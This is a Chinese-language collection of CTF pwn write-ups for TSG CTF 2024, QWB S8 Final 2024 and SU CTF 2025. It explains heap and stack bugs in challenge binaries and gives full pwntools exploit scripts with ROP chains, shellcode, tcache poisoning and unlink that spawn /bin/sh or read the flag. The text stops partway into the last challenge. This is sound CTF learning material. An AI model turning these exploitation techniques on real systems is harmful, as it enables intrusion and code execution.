一点 writeup 合集

tsgctf, qwb final 等

Featured image

发现自己在一些思路或者是 trick 上还是不够熟练啊,于是进行一点题的做
因为同步在做其他题所以可能慢慢更新…

piercing misty mountain - TSG CTF 2024

静态链接的程序,给了一次16字节的溢出,无 canary
首先就是想到栈迁移,但是在该次溢出前,没有往 bss 段进行写的机会,只可以写栈更高的位置,所以一开始的想法是找一个升栈的 gadget,把栈升到一开始有输入的地方,但是在第一次输入和溢出之间,有一次 0x4000 的降栈
所有升栈的 gadget 都不能升那么大,于是无法战胜,最终由队友 k4ra5u 在比赛时解出(khls tql!)

思路

它含有溢出的函数返回用的是 leave;ret,而 leave 相当于下面这两条指令

mov esp, ebp
pop ebp

因为我们可以赋值到 old_rbp 于是在栈溢出时,可以控制到 rbp
然后看到第一次读入的时候,是相对于 rbp 寻址 如下:
alt_text

如果我们把old_rbp 改到 bss 段,把返回地址改到这里的话,就可以正常读入了!由于是静态链接,我们可以直接把 ret2syscall ropchain 写到 bss 段
紧接着,我们再次到了那个溢出的函数,我们把 old_rbp 改为该 ropchain 地址 -8 然后覆盖返回地址为 leave;ret gadget 地址,从而栈迁移执行 ROPchain
感觉这个找 gadget 的思路有点像去年 seccon-quals 的简单题 ROP-2.35

exp

from pwn import*
context(log_level="debug", arch="amd64", os="linux")
p=process("./piercing_misty_mountain")

p.recvuntil("Name > ")
p.sendline("A"*0x20)
p.recvuntil("Job\n")
p.sendline("3")
fake_rbp = 0x4c73c0 + 0x1000
payload = b"a"*4 + p64(fake_rbp) + p64(0x401AAB)
p.recvuntil("Job > ")
p.send(payload)
# gdb.attach(p)
# pause()
p.recvuntil("Age > ")
p.sendline("13")
sleep(0.1)
pop_rdi = 0x40217f
pop_rsi = 0x40a1ee
pop_rax = 0x450847
pop_rdx = 0x44afa2
syscall = 0x044FDF0
binshell = 0x4c73c0 + 0x100
payload = p64(pop_rdi) + p64(binshell) + p64(pop_rsi) + p64(0) + p64(pop_rdx) + p64(0) + p64(pop_rax) + p64(59) + p64(syscall)
payload = payload.ljust(0x100, b"\x00") + b"/bin/sh\x00"
p.sendline(payload)
p.recvuntil("Job\n")
p.sendline("3")
payload = b"a"*4 + p64(0x4c73b8) + p64(0x401A63)
p.recvuntil("Job > ")
p.send(payload)
p.recvuntil("Age > ")
p.sendline("13")

p.interactive()

EzHeap - QWB S8 Final 2024

给了一个 base64 加解密的函数,漏洞点在 base64 decode 的时候有3字节溢出,所以可以覆盖到下一个 chunk 的 size 位
但是因为它的算法,可以说是溢出的最高字节是不可控的,因为栈布局而是 0x41,所以需要控制只溢出一位,覆盖后一个堆块的 size 为0x41
构造如图情况
alt_text

exp

from pwn import *
import base64
p=process("./pwn")
libc = ELF("./libc-2.31.so")
context(log_level="debug", arch="amd64", os="linux")
def decode(content):
    p.recvuntil("Enter your choice: \n")
    p.sendline("2")
    p.recvuntil("Enter the text to decode: \n")
    p.send(content)

def encode(content):
    p.recvuntil("Enter your choice: \n")
    p.sendline("1")
    p.recvuntil("Enter the text to encode: \n")
    p.send(content)

def remove_encode(index):
    p.recvuntil("Enter your choice: \n")
    p.sendline("3")
    p.recvuntil("idx: \n")
    p.sendline(str(index))

def remove_decode(index):
    p.recvuntil("Enter your choice: \n")
    p.sendline("4")
    p.recvuntil("idx: \n")
    p.sendline(str(index))

def show_encode(index):
    p.recvuntil("Enter your choice: \n")
    p.sendline("5")
    p.recvuntil("idx: \n")
    p.sendline(str(index))
    
def show_decode(index):
    p.recvuntil("Enter your choice: \n")
    p.sendline("6")
    p.recvuntil("idx: \n")
    p.sendline(str(index))
    
# leak libc
encode("a"*0x3f0)
encode("c"*0x30)
remove_encode(0)
encode("aaaa")
show_encode(0)
# todo leak heap through unsorted bin with the same method approximately
p.recvuntil("YWFhYQ==")
libc_leak = u64(p.recv(6).ljust(8, b"\x00"))
# 0x00007f9fc77ab020 0x7f9fc75be000
libc_base =  libc_leak - 0x7ab020+0x5be000
print(hex(libc_base))
remove_encode(0)
encode("aaaaaaaaaaaa")
show_encode(0)
p.recvuntil("YWFhYWFhYWFhYWFh")
heap_leak = u64(p.recv(6).ljust(8, b"\x00"))
print(hex(heap_leak))
heap_base = heap_leak - 0x290
# try build chunk overlapping for tcache poisoning
decode("YWFh"*18) # 0
encode("b"*0x8) # 2
encode("c"*0x8) # 3
encode("d"*0x8) # 4
encode("e"*0x8) # 5
remove_encode(4)
remove_encode(3)
remove_decode(0)
# 弃疗了不如直接用那个 0x41 算了
decode("YWFh"*18+"8Q=") # 0
remove_encode(2)
# edit fd
free_hook = libc_base + libc.sym["__free_hook"]
system = libc_base + libc.sym["system"]
print(hex(free_hook))
payload = p64(0)*3+p64(0x21)+p64(free_hook)+p64(0)
base64_payload = base64.b64encode(payload)
decode(base64_payload) # 1
encode("f"*0x8)
decode(base64.b64encode(p64(system))) # 2
decode(base64.b64encode(b"/bin/sh\x00")) # 3
remove_decode(3)
gdb.attach(p)
pause()
p.interactive()

嗯,这道题做的挺顺,基本没有卡(当然也是因为简单吧)

heap - QWB S8 Final 2024

好久没打 unlink 了… 上次打 unlink 可能也许还是一年半以前…

漏洞

一个非常显然的 UAF,但是我们输入的内容在堆上会被进行 AES 加密,加密的 key 是随机数
此外,我们只能 malloc 0x30 大小的堆块,而这道题有一个特殊之处:
它会检查我们申请出来的堆块地址,将其往下 0x1000 对齐后需要等于堆积地址,从而阻止了常用的思路:tcache poisoning allocate 任意地址

aes bypass

加密函数如下

unsigned __int64 __fastcall encrypt(__int64 src, int len, __int64 dst)
{
  int i; // [rsp+28h] [rbp-108h]
  char v6[248]; // [rsp+30h] [rbp-100h] BYREF
  unsigned __int64 v7; // [rsp+128h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  AES_set_encrypt_key(Key, 128LL, v6);
  for ( i = 0; i < len / 16; ++i )
    AES_ecb_encrypt(16 * i + src, 16 * i + dst, v6, 1LL);
  return __readfsqword(0x28u) ^ v7;
}

可以看到如果 len 小于16则不会被加密
无论是 read key 还是 overwrite key,我们都需要把一个堆块扔到和 key 堆块重叠的位置,而此时我们并没有堆地址
所以就想到了我们的老朋友: partial overwrite,那我们这次就用 partial overwrite fd (最低一位)来达到 tcache poisoning 效果
而如果我们 read key, 则输出的 key 是我们 key 原值用它自身解密后的结果,所以不如 overwrite key
这里我们 overwrite key 为 b"\x00"*0x10 从而可以 bypass aes

leak

在 unlink 开始之前,通过 tcache poisoning 可以达到堆任意写的原语 ~
而因为我们无法发 arbituary allocate, 所以在看他人 writeup 之前,想法是 largebin attack 写 io_file,但是还是这个 malloc 的 size 条件不太能打 largebin attack,就比较 emo,然后看了 https://xia0ji233.pro/2024/12/08/qwb2024_final/,发现需要打 unlink….
按照自己的记忆写了一版 unlink 然后 “unsorted bin corruption” 了,进 libc 调了一波也没想到怎么破
于是回去参考 writeup 发现需要的堆布局如下:
alt_text

构造之后就可以把 Booklist + 8 的地址写到 Booklist + 0x20 处,从而可以实现任意地址写任意值
接下来就写 free hook 搞栈迁移 + orw 或者 environ leak + orw
本来第一反应是前者,但是已经晚上11点多了,有点困了,于是打的 environ leak 覆盖返回地址

exp

from pwn import*
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad

context(log_level="debug", arch="amd64", os="linux")
p = process("./heap")
libc = ELF("./libc.so.6")
def add(idx,content):
    p.recvuntil(">> ")
    p.sendline("1")
    p.recvuntil("idx: ")
    p.sendline(str(idx))
    p.recvuntil("content: ")
    p.send(content)
    
def delete(idx):
    p.recvuntil(">> ")
    p.sendline("2")
    p.recvuntil("idx: ")
    p.sendline(str(idx))

def show(idx):
    p.recvuntil(">> ")
    p.sendline("3")
    p.recvuntil("idx: ")
    p.sendline(str(idx))

def edit(idx,content):
    p.recvuntil(">> ")
    p.sendline("4")
    p.recvuntil("idx: ")
    p.sendline(str(idx))
    p.recvuntil("content: ")
    p.send(content)
  
def aes_encrypt(plaintext, key):
    """
    Encrypts plaintext using AES-128 in ECB mode with the given key.

    :param plaintext: bytes, the plaintext to encrypt
    :param key: bytes, the AES key (16 bytes for AES-128)
    :return: bytes, the encrypted ciphertext
    """
    # Create AES cipher in ECB mode
    cipher = AES.new(key, AES.MODE_ECB)
    
    # Pad plaintext to be a multiple of block size (16 bytes for AES)
    padded_plaintext = pad(plaintext, AES.block_size)
    
    # Encrypt the plaintext
    ciphertext = cipher.encrypt(padded_plaintext)
    
    return ciphertext

def aes_decrypt(ciphertext, key):
    """
    Decrypts a ciphertext using AES-128 in ECB mode with the given key.

    :param ciphertext: bytes, the ciphertext to decrypt (must be multiple of 16 bytes)
    :param key: bytes, the AES key (16 bytes for AES-128)
    :return: bytes, the decrypted plaintext
    """
    # Create AES cipher in ECB mode
    cipher = AES.new(key, AES.MODE_ECB)
    
    # Decrypt the ciphertext
    decrypted_padded = cipher.decrypt(ciphertext)
    
    # Unpad the decrypted plaintext to retrieve original message
    # plaintext = unpad(decrypted_padded, AES.block_size)
    
    return decrypted_padded 

# 输入小于16字节的话就不会被加密解密
for i in range(3):
    add(i,b"a"*16)
  
# leak proc
show(1)
p.recvuntil("a"*16)
proc_base = u64(p.recv(6).ljust(8,b"\x00"))-0x1bf0

print(hex(proc_base))
# tcache poisoning partial overwrite **这一步 mark 一下吧,以及是 overwrite key 不是 leak key 的思路**
delete(0)
delete(1)
edit(1,b"\xa0")
add(2,b"aaa")

add(3,b"\x00"*0x10)
initial_key = bytes([0] * 16)
#  0x3b2c8aefd44be966 0x2e2b34ca59fa4c88
key = aes_encrypt(initial_key,initial_key)[:16]
print(key)
# 再来两次 tcache poisoning 搞堆重叠 构造 unsorted bin 吧
add(4,b"a"*0x10)
add(5,b"a"*0x10)

delete(4)
delete(5)

show(5)
leak = p.recv(16)
print(leak)
leak_new = aes_encrypt(leak,key)
print(leak_new)
heap_leak = u64(leak_new[:6].ljust(8,b"\x00"))
print(hex(heap_leak))
heap_base = heap_leak - 0x380
# put enough space in between
edit(4,b"\x00"*8)
add(4,b"aaaa") # 0x3c0 + heap_base
add(5,b"bbbb") # 0x370 + heap_base
add(6,b"c"*0x10) # 0x400 + heap_base
for i in range(0x12):
    add(0,b"aaaa")
delete(4)
delete(5)
edit(5,p64(heap_base + 0x3f0))
add(1,b"t"*0x10)
add(2,p64(0)+p64(0x481)[:6])
delete(6)
show(6)
libc_leak = p.recv(16)
libc_leak_new = aes_encrypt(libc_leak,key)
print(libc_leak_new[:6])
print(hex(u64(libc_leak_new[:6].ljust(8,b"\x00"))))
libc_leak = u64(libc_leak_new[:6].ljust(8,b"\x00"))
# 0x7f413690e000 0x7f4136afabe0
libc_base = libc_leak - 0x1ecbe0
print(hex(libc_base))
# 4 上构造 fake chunk
unsorted_ptr = proc_base + 0x4080 + 0x20
payload = p64(0)+p64(0x31)+p64(unsorted_ptr - 0x18)+p64(unsorted_ptr - 0x10)
edit(4,aes_decrypt(payload,key))
# 连续申请0x12个块
add(8,b"aaaa")
for i in range(0x11):
    add(7,b"aaaa")
edit(2,p64(0x30)+p64(0x480)[:6])
delete(8)
# 现在 block 4 的指针指向了 $rebase(0x4088)
# environ leak
environ = libc_base + libc.symbols["__environ"]
edit(4,p64(environ))
magic = libc_base + 0x151bb0 # mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20]
show(1)
leak = p.recv(16)
leak_new = aes_encrypt(leak,key)
stack_leak = u64(leak_new[:6].ljust(8,b"\x00"))
print(hex(stack_leak))
stack_ptr = stack_leak - 0x130 # TODO fix this
pop_rdi = libc_base + 0x23b6a
pop_rsi = libc_base + 0x2601f
pop_rdx_r12 = libc_base + 0x119431
syscall = libc_base + 0x10E1F0
flag_addr = stack_ptr + 23*8
pop_rax = libc_base + 0x36174

rop = p64(pop_rdi)+p64(flag_addr)+p64(pop_rsi)+p64(0)+p64(pop_rax)+p64(2)+p64(syscall)
rop+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(flag_addr)+p64(pop_rdx_r12)+p64(0x30)+p64(0)+p64(libc_base+libc.symbols["read"])
rop+=p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(flag_addr)+p64(pop_rdx_r12)+p64(0x30)+p64(0)+p64(libc_base+libc.symbols["write"])+b"flag\x00"+b"\x00"*3 # 长为 23*8 + 5 需要覆盖4次
#  0x7fff795f98a8 0x7fff795f99d8

payload = p64(stack_ptr)+p64(stack_ptr+0x30)+p64(stack_ptr+0x60)+p64(proc_base+0x4088)
new_payload = aes_decrypt(payload,key)
edit(4,p64(stack_ptr+0x30)+p64(stack_ptr+0x60)[:6])

edit(1,aes_decrypt(rop[0x30:0x60],key))
edit(2,aes_decrypt(rop[0x60:0x90],key))

edit(4,p64(stack_ptr + 0x90)+p64(stack_ptr)[:6])

edit(1,aes_decrypt(rop[0x90:0xc0],key))
edit(2,aes_decrypt(rop[0:0x30],key))

p.interactive()

SU_baby - SU CTF 2025

唉 明显感觉到自己最近题做少了,需要一点技巧的地方就想不到了,这道题没啥利用的难度,但是绕 canary 和写 shellcode 还是卡了两个地方,于是记一下 writeup
本题最大的特点是栈可执行,给了一个漏洞函数可以输入一个地址,然后将该地址作为指令序列的起始地址去跳转执行

绕 canary

漏洞是一个栈溢出,所在函数如下

unsigned __int64 __fastcall add_files(__int64 stack_buf2, unsigned int *file_cnt)
{
  int v3; // [rsp+1Ch] [rbp-64h] BYREF
  int v4; // [rsp+20h] [rbp-60h]
  int i; // [rsp+24h] [rbp-5Ch]
  int v6; // [rsp+28h] [rbp-58h]
  int v7; // [rsp+2Ch] [rbp-54h]
  char buf[16]; // [rsp+30h] [rbp-50h] BYREF
  char s[16]; // [rsp+40h] [rbp-40h] BYREF
  char src[40]; // [rsp+50h] [rbp-30h] BYREF
  unsigned __int64 v11; // [rsp+78h] [rbp-8h]

  v11 = __readfsqword(0x28u);
  v3 = 0;
  v6 = 0;
  v7 = 0;
  v4 = 0;
  printf(&byte_403118, *file_cnt);              // current existing file number
  puts(&byte_403140);
  __isoc99_scanf(&unk_402B30, &v3);             // how many to add
  getchar();
  for ( i = 0; i < v3; ++i )
  {
    if ( (int)*file_cnt > 11 )
    {
      puts(&byte_403168);
      return __readfsqword(0x28u) ^ v11;
    }
    puts(&byte_403199);                         // name
    fgets(s, 16, stdin);
    s[strcspn(s, "\n")] = 0;
    strcpy((char *)(352LL * (int)*file_cnt + stack_buf2), s);
    puts(&byte_4031AF);                         // content
    v6 = read(0, buf, 9uLL);
    strncpy(&src[v4], buf, v6);
    v7 = strlen(buf);                           // 14
    v4 += v7 + 1;                               // can overflow
    strcpy((char *)(352LL * (int)*file_cnt + stack_buf2 + 50), src);
    ++*file_cnt;
    puts(&byte_4031C5);
  }
  return __readfsqword(0x28u) ^ v11;
}

出现问题是因为不该用 strlen(buf) 计算,buf 的 0x8 ~ 0x10 offset 是一个 libc 地址,所以如果读进来的数大于8,则 v7 会变成14
还有一个点可能是单纯审计代码会容易想不到的,一开始认为必须使得读入的内容大于等于8字节才可以使得 v7 是14,并且我们期望绕过 canary 是8字节,这样的话就感觉很难绕过 canary
但是在实际调试中会发现像如下序列

payload = [b"a"*9] # 15
payload = payload + [b"bbbbbb\x00"] # 22
payload = payload + [b"b"*8] # 37
payload = payload + [b"b"*3] # 52
payload = payload + [b"bbb\x00"] # 56
payload = payload + [p64(backdoor)]

其中像是用 b"b"*8 填充 buf 的低8字节,下一轮写入的只是 b"bbb" 的话,strlen 返回值也会是 14,这明显有一个大于8字节的 gap 从而可以绕过 canary
还有一个点是我们写 shellcode 的时候,需要写分段 shellcode,此时可以 mark 一下第一段 shellcode 压缩字节数的技巧(

shellcode1 = '''
xor rdi,rdi
xchg rsi,rdx
add rsi, 0xc
syscall
'''

一开始 rdx 是我们 shellcode 的栈地址,作为 read syscall 的 size 参数会挂掉,而 rsi 是 0x6046a0 的一个 bss 段值,所以将其交换
通过 add rsi,0xc 我们直接将第二段 shellcode 读入到第一段 shellcode 的后面从而接下来执行,省去一条 jmp 指令的空间

exp

from pwn import*
context(arch='amd64', os='linux', log_level='debug')
p = process("./ASU1")
libc = ELF("./libc.so.6")
def add_files(cnt,names,contents):
    p.recvuntil("请选择操作: ")
    p.sendline("8")
    p.recvuntil("需要添加几组模拟文件数据:\n")
    p.sendline(str(cnt))
    for i in range(cnt):
        p.recvuntil("请输入文件名称\n")
        p.send(names[i])
        p.recvuntil("请输入文件内容\n")
        p.send(contents[i])

def display_files():
    p.recvuntil("请选择操作: ")
    p.sendline("9")

def add_signal(id,name,signature):
    p.recvuntil("请选择操作: ")
    p.sendline("1")
    p.recvuntil("输入特征码 ID: ")
    p.sendline(str(id))
    p.recvuntil("输入病毒名称: ")
    p.send(name)
    p.recvuntil("输入特征码值: ")
    p.send(signature)

def display_sigdb():
    p.recvuntil("请选择操作: ")
    p.sendline("5")
    p.recvuntil("输入特征码值查询感染文件: ")
    p.sendline("123")

# need stack leak first 输出栈上的残留值
backdoor = 0x400F56
payload = [b"a"*9] # 15
payload = payload + [b"bbbbbb\x00"] # 22
payload = payload + [b"b"*8] # 37
payload = payload + [b"b"*3] # 52
payload = payload + [b"bbb\x00"] # 56
payload = payload + [p64(backdoor)]

add_signal(233,b"b"*8,b"b"*0x28+b"aa")
display_sigdb()
# stack leak 0x7fff8adf8f40  0x7fff8adedcc8
p.recvuntil("bbaa")
stack_leak = u64(p.recv(6).ljust(8,b"\x00"))
success("stack: "+hex(stack_leak))
target = stack_leak - 0xb278
success("target: "+hex(target))

add_files(6,["/bin/sh\n"]*6,payload) # 应该可以绕过 canary
p.recvuntil("Good opportunity\n")
# rsi rdi 都是 tar rdx 是目标栈地址,rax 是0
shellcode1 = '''
xor rdi,rdi
xchg rsi,rdx
add rsi, 0xc
syscall
'''

shellcode2 = '''
    xor     rax, rax
    push    rax
    mov     rbx, 0x67616c66
    push    rbx
    mov     rdi, rsp
    xor     rsi, rsi
    mov     rax, 2
    syscall


    mov     rdi, rax
    mov     rsi, rsp
    mov     rdx, 0x30
    xor     rax, rax
    syscall
                       


    mov     rdi, 1          
    mov     rsi, rsp      
    mov     rdx, rax
    mov     rax, 1
    syscall
'''
p.send(asm(shellcode1))
p.recvuntil("What do you want to do?\n")
p.send(p64(target))
sleep(1)
p.send(asm(shellcode2))
p.interactive()

SU_text - SU CTF 2025

逆向逆错了,导致半天没想到怎么做,唉, sad

漏洞

除了正常的 create 和 delete 函数外实现了一个虚拟机,其派发函数如下

char *__fastcall do_ops(char *a1)
{
  int v1; // eax
  char *v3; // [rsp+8h] [rbp-28h]
  unsigned int v4; // [rsp+1Ch] [rbp-14h]
  _DWORD *chunk[2]; // [rsp+20h] [rbp-10h] BYREF

  chunk[1] = (_DWORD *)__readfsqword(0x28u);
  v4 = *a1;
  if ( v4 > 0xF || !heap_ptr[2 * v4] )
    _exit(1);
  v3 = a1 + 1;
  chunk[0] = (_DWORD *)heap_ptr[2 * v4];
  while ( *v3 )
  {
    v1 = *v3;
    if ( v1 == 16 )
    {
      v3 = (char *)ops1((__int64)(v3 + 1), chunk[0]);
    }
    else
    {
      if ( v1 != 17 )
        _exit(1);
      v3 = (char *)ops2((__int64)(v3 + 1), chunk);
    }
  }
  return v3 + 1;
}

然后有人一开始认为 ops1 ops2 函数都是传的 chunk[0]… 所以就卡了 gg
然后漏洞是一个堆溢出,具体成因如下:
它 ops1 里面有俩 subhandler 有往堆内存 load 和 store 的功能如下

unsigned int *__fastcall store(unsigned int *a1, __int64 a2)
{
  if ( *a1 > 0x410 )
    _exit(1);
  *(_QWORD *)(a2 + *a1) = *(_QWORD *)(a1 + 1);
  return a1 + 3;
}

其中虽然有 offset <= 0x410 的要求(而我们分配的堆块大小都是 0x418+),但是同时 ops2 中的 op 可以增大该 do_ops 里面的 chunk[0] 指针,如下

_DWORD *__fastcall or(_DWORD *a1, _DWORD **a2)
{
  if ( **a2 )
    _exit(1);
  *(*a2)++ = a1[1] | *a1;
  return a1 + 2;
}

其中传参为 v3 = or((_DWORD *)(a1 + 1), chunk);
所以可以有一个堆溢出
(有个傻子一开始错认为漏洞是任意地址写…但是只能写之前是0的内存…所以就不会做了)

利用

嗯,就打 largebin attack 就行,但是可能按照之前的写 IO_list_all/stdout 可能不太行,因为触发 IO 流是在 printf 处,而在同一个 payload 中需要完成 1. 增加一堆 xor 来越界写到后一个堆块,2. 在后一个堆块写一堆 fake_IO_file,栈迁移的板子,ROP 之类的,所以担心给的输入的空间可能有点不够
所以就参考 https://www.anquanke.com/post/id/235821 改 TCACHE_MAX_BINS 为很大数,从而使得原先应被放到 unsorted bin/large bin 的块被塞到了 tcache 里面,然后就可以 tcache poisoning 打 environ leak 然后栈溢出了(感觉有的时候还是打栈比较简单啊hhh)

exp

from pwn import*
context(arch='amd64', os='linux', log_level='debug')
# might need largebin attack or unlink
p = process("./SU_text")
libc = ELF("./libc.so.6")
# 逆向的时候逆错了,所以想了很久不知道咋打
# leak first
def create(idx,siz):
    return b"\x01\x10"+p8(idx)+p32(siz)

def remove(idx):
    return b"\x01\x11"+p8(idx)

def vm_start(idx):
    return b"\x02"+p8(idx)

def vm_end():
    return b"\x00"

def add(num1,num2):
    return b"\x10\x10"+p32(num1)+p32(num2)

def sub(num1,num2):
    return b"\x10\x11"+p32(num1)+p32(num2)

def mul(num1,num2):
    return b"\x10\x12"+p32(num1)+p32(num2)

def store(offset,value):
    return b"\x10\x14"+p32(offset)+p64(value)

def load(offset):
    return b"\x10\x15" + p32(offset) + p64(0)

def show(offset):
    offset1 = offset
    if offset<0:
        offset1 = 0x100000000+offset
    return b"\x10\x16" + p32(offset1)

# ops2
def or_op(num1,num2):
    return b"\x11\x13"+p32(num1)+p32(num2)

def xor_op(num1,num2):
    return b"\x11\x12"+p32(num1)+p32(num2)

def and_op(num1,num2):
    return b"\x11\x14"+p32(num1)+p32(num2)

payload1 = create(15,0x418)+create(0,0x448)+create(1,0x418)+create(2,0x438)+create(3,0x418)
payload1 += remove(0)+remove(2)+create(5,0x418)+b"\x03"
p.recvuntil("Please input some text (max size: 4096 bytes):\n")
p.send(payload1)

payload2 = vm_start(5) + load(0)+show(-14)+load(8)+show(-14)+vm_end()+b"\x03"
p.recvuntil("Please input some text (max size: 4096 bytes):\n")
p.send(payload2)
leaks = p.recv(14)
libc_leak = u64(leaks[0:6].ljust(8,b"\x00"))
heap_leak = u64(leaks[8:14].ljust(8,b"\x00"))
heap_base = heap_leak - 0x290 - 0x420
libc_base = libc_leak - 0x203f20
print(hex(libc_base),hex(heap_base))
# 0x7f2176f30000 0x7f2177133f20 

# do largebin attack
payload3 = remove(5)+create(0,0x448)+create(2,0x438)+remove(0)+create(6,0x480)+remove(2)
payload3 += b"\x03"
p.recvuntil("Please input some text (max size: 4096 bytes):\n")
p.send(payload3)
tcache_max_size = libc_base + 0x2031e8
# 不行,还是要改 tcache max size,参考 https://www.anquanke.com/post/id/235821
payload4 = vm_start(15)+xor_op(1,1)*0x100 + store(0x38,tcache_max_size - 0x20)+vm_end()+create(7,0x480)+remove(7)+remove(6)+b"\x03"
p.recvuntil("Please input some text (max size: 4096 bytes):\n")
p.send(payload4)
# tcache poisoning to environ leak

p.recvuntil("Please input some text (max size: 4096 bytes):\n")
environ = libc_base + libc.symbols["environ"] - 0x18 # 对齐
print(hex(environ))
fd = environ ^((heap_base//0x1000) + 1)
payload5 = vm_start(3)+xor_op(1,1)*0x100 + store(0x20,fd)+vm_end()+create(8,0x480)+create(9,0x480)+vm_start(9)+load(0x18)+show(-14)+vm_end()+b"\x03"
p.send(payload5)
environ_leak = u64(p.recv(6).ljust(8,b"\x00"))
print(hex(environ_leak))
# allocate to stack 0x7fff73638148 0x7fff736382a8
start_offset = 0x10
ret_addr = environ_leak - 0x1a8+0x48 - 0x10  # TODO
if ret_addr %16 != 0:
    ret_addr = ret_addr - 8
    start_offset += 8
fd = ret_addr ^ ((heap_base//0x1000) + 2)
payload6 = create(10,0x4a8)+create(11,0x4b0)+create(12,0x4b0)+remove(12)+remove(11)+vm_start(10)+xor_op(0,0x30)+xor_op(1,1)+xor_op(0,0x67616c66)+xor_op(1,1)*0xfd + store(0xb0,fd)+vm_end()+b"\x03"
p.recvuntil("Please input some text (max size: 4096 bytes):\n")
p.send(payload6)
# stack located at 12
pop_rdi = 0x10f75b + libc_base
pop_rsi = 0x110a4d + libc_base
pop_rax = 0xdd237 + libc_base
mov_rdx = 0x00bf450 + libc_base # mov rdx, qword ptr [rsi] ; mov qword ptr [rdi], rdx ; ret
syscall = 0x00011BA5F + libc_base
size_addr = heap_base + 0x20b0
flag_addr = heap_base + 0x20b8

rop=p64(pop_rdi)+p64(flag_addr)+p64(pop_rsi)+p64(0)+p64(pop_rax)+p64(2)+p64(syscall)
# rop+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(flag_addr)+p64(pop_rdx_r12)+p64(0x30)+p64(0)+p64(libc_base+libc.symbols["read"]) # TODO fix this
rop += p64(pop_rdi)+p64(heap_base)+p64(pop_rsi)+p64(size_addr)+p64(mov_rdx)+p64(pop_rdi)+p64(3) + p64(pop_rsi)+p64(flag_addr)+p64(libc_base+libc.symbols["read"])
# rop+=p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(flag_addr)+p64(pop_rdx_r12)+p64(0x30)+p64(0)+p64(libc_base+libc.symbols["write"])
rop += p64(pop_rdi)+p64(heap_base)+p64(pop_rsi)+p64(size_addr)+p64(mov_rdx)+p64(pop_rdi)+p64(1) + p64(pop_rsi)+p64(flag_addr)+p64(libc_base+libc.symbols["write"])
# assemble rop from the start_offset
rop_payload = b""
for i in range(0,len(rop),8):
    rop_payload += store(i+start_offset,u64(rop[i:i+8]))

payload7 = create(11,0x4b0)+create(12,0x4b0)+vm_start(12)+rop_payload+vm_end()+b"\x03"

p.recvuntil("Please input some text (max size: 4096 bytes):\n")
p.send(payload7)
p.interactive()

reference

SU_jit - SU CTF 2025

即使是春节期间也不能没思考够时间就忍不住看 writeup 啊…感觉每一步都挺容易想到的,但是就是不能做到完整的打一遍…
简单题,但是一开始没找到洞… 是在 Unary_expr (位于 0x17cb) 的函数处,应该是检查寄存器 index < 3 而错误检查为 index < 4,从而可以将 jmp 0x13 写到可以执行的汇编里面,从而可以执行题目所给以外的指令,或者是导致写入 opcode 的错位解读(但是这个很难做到),结合一个 mov reg, imm 的指令中 imm 是我们可控的两个字节,可以执行两个字节的汇编指令,并且该步可以多次重复

exp

from pwn import*
context(arch='amd64', os='linux', log_level='debug')
p = process("./chall")

def assemble_op(op,ty,reg1,reg2,imm):
    return p8(op<<4|ty) + p8(reg2|reg1<<4) + p16(imm)

# reg 分别是 ax, bx, cx, dx
def mov_imm(reg,imm):
    return assemble_op(0,1,reg,0,imm)

def mov_reg(reg1,reg2):
    return assemble_op(0,0,reg1,reg2,0)

def add(reg1,reg2):
    return assemble_op(1,0,reg1,reg2,0)

def sub(reg1,reg2):
    return assemble_op(2,0,reg1,reg2,0)

def not_op(reg):
    return assemble_op(4,0,0,reg,0)

def neg_op(reg):
    return assemble_op(4,1,0,reg,0)

def shr_f(reg):
    return assemble_op(4,2,0,reg,0)

def test(reg):
    return assemble_op(4,4,0,reg,0)

def je(imm):
    return assemble_op(5,1,0,0,imm)
def jmp(imm):
    return assemble_op(5,0,0,0,imm)

# base reg 是 r8,初始的时候会让 r8 指向 v10 所在空间
def lw(offset_reg, dst_reg):
    return assemble_op(6,1,dst_reg,offset_reg,0)
# base reg 是 r8
def lb(offset_reg, dst_reg):
    return assemble_op(6,0,dst_reg,offset_reg,0)

# base reg 还是 r8
def sw(offset_reg, src_reg):
    return assemble_op(7,1,src_reg,offset_reg,0)
def sb(offset_reg, src_reg):
    return assemble_op(7,0,src_reg,offset_reg,0)
# 因为之前有 stc 之类的
def clc():
    return assemble_op(8,1,0,0,0)
def stc():
    return assemble_op(8,0,0,0,0)
def jmp_0x13():
    return test(4)

# jmp 0x13 这段,可能可以不按字符的顺序任意跳    
p.recvuntil("Input ur code:\n")
payload = jmp_0x13()+clc()*0xf+mov_imm(0,0x5e54) # push rsp, pop rsi
payload += jmp_0x13()+clc()*0xf+mov_imm(0,0x8b2) # mov dl, 8
payload += jmp_0x13()+clc()*0xf+mov_imm(0,0x50f) # syscall; read to stack
payload += jmp_0x13()+clc()*0xf+mov_imm(0,0x3bb0) # mov al,59
payload += jmp_0x13()+clc()*0xf+mov_imm(0,0x5f54) # push rsp, pop rdi
payload += mov_imm(3,0)+jmp_0x13()+clc()*0xf+mov_imm(0,0x6a) # push 0
payload += jmp_0x13()+clc()*0xf+mov_imm(0,0x905e)
payload += jmp_0x13()+clc()*0xf+mov_imm(0,0x50f) # syscall; execve
p.send(payload)
sleep(1)
p.send("/bin/sh\x00")
p.interactive()

reference

SU_msg_cfgd - SU CTF 2025

唉 堆风水真的会不了一点…. 打了好几天 确实好累hhh

漏洞

整体是 C++ 写的一个菜单堆题,利用的点主要是 vector 迭代器失效
具体代码如下:

if ( *((_BYTE *)v8 + 40) )
    {
      v4 = std::vector<Config *>::end((char *)this + 16);
      v5 = std::vector<Config *>::begin((char *)this + 16);
      *((_QWORD *)this + 5) = std::find_if<__gnu_cxx::__normal_iterator<Config **,std::vector<Config *>>,MsgHandler::handleCMD(char *)::{lambda(Config *)#1}>(
                                v5,
                                v4,
                                v8);            // vuln
    }

这里会把 *(this + 0x40) 赋值为一个 iterator,菜单中的 visit_obj 是 visit 这个 iterator,而且基本没检查,从而可以有一个 UAF read
而还提供了一个 cmdUpdate,无法 UAF write 但是可以 double free

思路

有个傻子 leak heap 之后才想到 libc-2.31 可以打 free_hook 就不需要堆地址了qaq

leak

首先讲一下这个 vector 的构造,它主要是涉及的 std::vector<Config *> 所以相应堆块的构造是存放了一系列的 Config* 指针
